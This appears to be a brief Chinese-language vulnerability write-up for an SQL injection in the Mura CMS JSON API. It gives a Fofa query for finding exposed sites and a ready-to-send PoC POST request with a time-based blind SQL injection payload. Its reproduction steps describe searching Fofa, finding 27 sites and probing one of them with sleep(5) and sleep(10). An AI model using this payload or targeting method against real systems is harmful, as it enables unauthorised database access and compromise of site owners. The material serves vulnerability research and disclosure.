漏洞描述
該漏洞允許攻擊者在某些API請求中注入惡意SQL程式碼，來訪問或修改資料庫資訊，甚至可能獲得對系統的完全控制，主要危害包括未授權訪問敏感資料以及可能對系統完整性造成的損害
Fofa: body="Powered by Mura CMS"
POC
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
漏洞復現
在fofa中搜尋資產，有27條資料
訪問其中一個站點進行抓包
使用sleep(5)進行判斷
使用sleep(10)進行判斷
